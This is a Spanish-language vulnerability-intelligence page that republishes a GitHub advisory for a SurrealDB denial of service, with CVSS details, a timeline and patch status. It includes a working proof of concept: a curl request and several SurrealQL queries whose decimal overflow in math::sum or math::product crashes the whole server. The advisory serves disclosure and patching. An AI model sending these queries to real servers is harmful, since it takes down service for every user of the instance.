llamaCVEVulnerability Intelligence
/
Advisory · GitHub · crates.io · surrealdb

GHSA-G422-FJ9R-M92G

Caída del servidor (DoS) mediante desbordamiento de decimal en math::sum / math::product

Parche disponible
Descargar PNG JSON
CVSS 3.1
6.5
Media
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche el mismo día de la divulgación
Exposición17 dDesde la divulgación, 3 nov 2026, 10:51 a. m.
Detección17 dDesde la divulgación hasta su ingreso al índice
Decisión estimadaSeguir
Remediar en la ventana regular de mantenimiento
Estimación de Llama con el árbol SSVC de CISA a partir de vector CVSS 3.1 y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, no automatizable e impacto técnico parcial. Hay versiones corregidas disponibles.
Tranqui, pero que no se quede en el olvido.Mi diagnóstico: un ticket y una sonrisa.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Parche 4.0.0
Monitoreo
Detectada +1
3 nov 26
20 nov 26
21 nov 26
3 nov 26
8 nov 26
12 nov 26
17 nov 26
21 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-G422-FJ9R-M92G divulgada · CVSS 6.5 (GitHub)
Remediación Parche 4.0.0 surrealdb · 0 d desde divulgación
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Traducción automática · Ver original
Descripción del advisory
Traducción automática · GitHub
Resumen

Un desbordamiento aritmético no controlado en las funciones de agregación `math::sum` y `math::product` permite que cualquier usuario que pueda ejecutar una sola consulta termine el proceso completo del servidor SurrealDB. Cuando el total acumulado de una suma de `decimal` supera el rango de `decimal`, el hilo worker entra en pánico dentro de `rust_decimal` en lugar de devolver un error, y el proceso finaliza (estado 133). Todas las conexiones, bases de datos y espacios de nombres de la instancia dejan de funcionar. No se requieren privilegios especiales, ni un conjunto de datos grande, ni datos almacenados: los valores que provocan el desbordamiento pueden ser literales en la consulta. Confirmado en `3.2.4` y `3.1.2`.

Detalles

`math::sum` y `math::product` acumulan sus argumentos mediante aritmética `decimal` sin comprobaciones. Cuando un resultado intermedio supera el máximo de `decimal` (`79228162514264337593543950335`), la suma entra en pánico en lugar de devolver un `Result::Err`, y ese pánico aborta el hilo worker de SurrealDB, lo que termina todo el proceso del servidor.

El motor ya tiene una ruta correcta y recuperable para exactamente esta condición:

  • Los operadores `+` y `*` con los mismos operandos devuelven un error normal de consulta (`Cannot perform addition with '...' and '...'`).
  • `math::mean`, que también suma internamente, devuelve ese mismo error en lugar de entrar en pánico.

Por lo tanto, solo la acumulación de `math::sum` / `math::product` convierte un decimal fuera de rango en un pánico que termina el proceso. La solución consiste en que estas funciones usen la misma aritmética con comprobación que ya utilizan los operadores y `math::mean`.

Puntero al código fuente para el mantenedor:
La cadena, con números de línea desde `main` en el commit `18971ffba` (las etiquetas de versión 3.1.x / 3.2.x difieren en unas pocas líneas, pero la estructura es idéntica):

  • `surrealdb/core/src/fnc/math.rs:218` — `math::sum`:
  • `surrealdb/core/src/val/number.rs:1160` — `impl Sum for Number` acumula con el operador simple: `iter.fold(Number::Int(0), |a, b| a + b)` (y `:1178`, `Product`, acumula con `*`).
  • `surrealdb/core/src/val/number.rs:1034` — `impl ops::Add for Number`, cuyo brazo decimal no está comprobado:
PoC

Inicie un servidor con el backend en memoria (cualquier compilación 3.1.x / 3.2.x):

surreal start --user root --pass root memory

Envíe una sola sentencia al endpoint HTTP `/sql`:

curl -s -u root:root \
  -H 'Accept: application/json' -H 'surreal-ns: t' -H 'surreal-db: t' \
  -X POST --data 'RETURN math::sum([40000000000000000000000000000dec, 40000000000000000000000000000dec]);' \
  http://localhost:8000/sql

La conexión se cierra sin resultado de consulta. El registro del servidor muestra:

thread 'surrealdb-worker' (8) panicked at .../rust_decimal-1.42.0/src/arithmetic_impls.rs:161:18:
Addition overflowed

y el proceso termina con estado 133. Cualquier solicitud posterior al mismo servidor falla (el proceso ya no existe).

Desencadenantes equivalentes, todos fatales:

RETURN math::sum([79228162514264337593543950335dec, 1dec]);   -- decimal max + 1
RETURN math::sum([79228162514264337593543950335dec, 1]);      -- mixed int addend
RETURN math::sum([-40000000000000000000000000000dec, -40000000000000000000000000000dec]);
RETURN math::product([40000000000000000000000000000dec, 2dec]);

Se alcanza mediante agregación ordinaria, por lo que una consulta de informes rutinaria sobre una tabla que contiene decimales grandes es un desencadenante accidental:

CREATE t:1 SET v = 40000000000000000000000000000dec;
CREATE t:2 SET v = 40000000000000000000000000000dec;
SELECT math::sum(v) AS s FROM t GROUP ALL;   -- server exits

Como contraste, la ruta recuperable que ya existe con los mismos operandos:

RETURN 40000000000000000000000000000dec + 40000000000000000000000000000dec;
-- ERR: "Cannot perform addition with '4000...' and '4000...'"   (server stays up)

RETURN math::sum([40000000000000000000000000000dec, 30000000000000000000000000000dec]);
-- "70000000000000000000000000000"   (in-range sum works)

Verificado en `surrealdb/surrealdb:v3.1.2` y `3.2.4+20260803.93ab219` (Docker, backend `memory`): el contenedor sale con código 133 (`OOMKilled=false`) y el servidor deja de responder.

Impacto
  • Tipo: Denegación de servicio: pánico no controlado que termina el proceso (CWE-248, con CWE-190, desbordamiento de enteros, como condición raíz).
  • Quién se ve afectado: todos los usuarios de una instancia afectada. La caída no se limita a la sesión que la provoca: todo el proceso termina, por lo que todas las conexiones, bases de datos y espacios de nombres de ese servidor pierden el servicio.
  • Quién puede desencadenarlo: cualquier usuario autorizado a ejecutar consultas. No requiere permisos de esquema ni datos almacenados, y como la agregación `GROUP ALL` llega al mismo código, una agregación habitual sobre datos `decimal` influenciables por el usuario lo desencadena sin intención.
Parches

Se ha creado un parche que acumula `math::sum` y `math::product` con aritmética comprobada, de modo que un desbordamiento de decimal genere un error de consulta en lugar de bloquear el servidor.

  • Las versiones 4.0.0 y posteriores no se ven afectadas por este problema.
Referencias
  • Documentación de SurrealQL — Funciones matemáticas https://surrealdb.com/docs/surrealql/functions/database/math
  • `fix(math): sum and mean integers exactly instead of wrapping or rounding` (commit `942c2bd2b4`)
  • `fix(math,seq): integer overflow is an error in math folds and sequence allocation` (commit `b8f92e17f2`)

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:L
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:N
AltoBajoNinguno
IntegridadI:N
AltoBajoNinguno
DisponibilidadA:H
AltoBajoNinguno
Score de explotaciónQué tan fácil y probable es que la exploten
8.3/ 10Alto
Vector 8.3 (muy fácil) · sin evidencia de explotación.
Versiones

Rangos afectados

Afectada Corregida Última
surrealdb< 4.0.0
4.0.0
4.0.1
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
crates.iosurrealdb
Corregida 4.0.0 0 d 4.0.1 no afectada
Versiones corregidas4.0.0
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/surrealdb/surrealdb/security/advisories/GHSA-g422-fj9r-m92g

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.